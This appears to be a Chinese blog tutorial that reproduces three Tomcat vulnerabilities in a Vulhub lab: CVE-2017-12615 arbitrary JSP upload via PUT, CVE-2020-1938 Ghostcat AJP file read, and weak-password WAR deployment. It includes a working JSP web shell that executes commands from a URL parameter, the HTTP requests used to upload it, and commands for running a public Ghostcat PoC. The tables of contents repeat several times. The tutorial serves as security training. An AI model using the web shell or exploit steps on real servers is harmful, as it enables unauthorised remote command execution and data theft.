中间件安全—Tomcat常见漏洞

整个复现环境均使用Vul hub 一键搭建漏洞测试靶场，Vul hub 靶场：链接

Tom cat 配置文件/conf/web.xml 配置了可写（readonly=false），导致可以使用PUT方法上传任意文件，攻击者将精心构造的p ayload向服务器上传包含任意代码的 JSP 文件。之后，JSP 文件中的代码将能被服务器执行。
在这里插入图片描述

Ap a ch e Tom cat 7.0.0 – 7.0.81

这里修改请求方式为OPTIONS /xx HTTP/1.1，通过修改后发现允许PUT方法。
在这里插入图片描述

这里修改请求方式为：PUT /test.jsp/ HTTP/1.1，请求体为：<%out.print(“h ack e r”); %>，然后访问test.jsp。
在这里插入图片描述

URL：http:ip地址:端口/test.jsp

请求体：
<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

http://ip地址:8080/test.jsp?&amp;pwd=123&amp;cmd=ls

命令：
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi  
cd CNVD-2020-10487-Tomcat-Ajp-lfi  
python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境

命令：python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml

http://ip地址:8080/manager/html

显示所有内容

声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。

漏洞

中间件 安全—Tom cat常见漏洞

1.Tom cat常见漏洞

1.1.前言

1.2.文件 上传 (CVE-2017-12615)

1.2.1.漏洞 原理

1.2.2.影响 版本

1.2.3.漏洞复现

1.2.3.1.测试 是否允许PUT

1.2.3.2.验证 漏洞 是否 存在

1.2.3.3.访问test.jsp

1.2.3.4.上传 执行 命令 脚本

1.2.3.5.执行 命令

1.3.文件 包含 漏洞（CVE-2020-1938）

1.3.1.漏洞 原理

1.3.2.影响版本

1.3.3.漏洞复现

1.3.3.1.访问 页面

1.3.3.2.POC下载

1.3.3.3.POC验证

1.4.弱口令&war 远程 部署

1.4.1.漏洞原理

1.4.2.影响版本

1.4.3.漏洞复现

1.4.3.1.访问后台

1.4.3.2.后台管理

1.4.3.3.进入模块

1.4.3.4.获取 shell

发表回复取消回复

中间件安全—Tomcat常见漏洞

1.Tomcat常见漏洞

1.1.前言

1.2.文件上传 (CVE-2017-12615)

1.2.1.漏洞原理

1.2.2.影响版本

1.2.3.漏洞复现

1.2.3.1.测试是否允许PUT

1.2.3.2.验证漏洞是否存在

1.2.3.3.访问test.jsp

1.2.3.4.上传执行命令脚本

1.2.3.5.执行命令

1.3.文件包含漏洞（CVE-2020-1938）

1.3.1.漏洞原理

1.3.2.影响版本

1.3.3.漏洞复现

1.3.3.1.访问页面

1.3.3.2.POC下载

1.3.3.3.POC验证

1.4.弱口令&amp;war远程部署

1.4.1.漏洞原理

1.4.2.影响版本

1.4.3.漏洞复现

1.4.3.1.访问后台

1.4.3.2.后台管理

1.4.3.3.进入模块

1.4.3.4.获取shell

相关文章

发表回复 取消回复

中间件安全—Tom cat常见漏洞

1.Tom cat常见漏洞

1.4.弱口令&war 远程部署

1.4.3.4.获取 shell

发表回复取消回复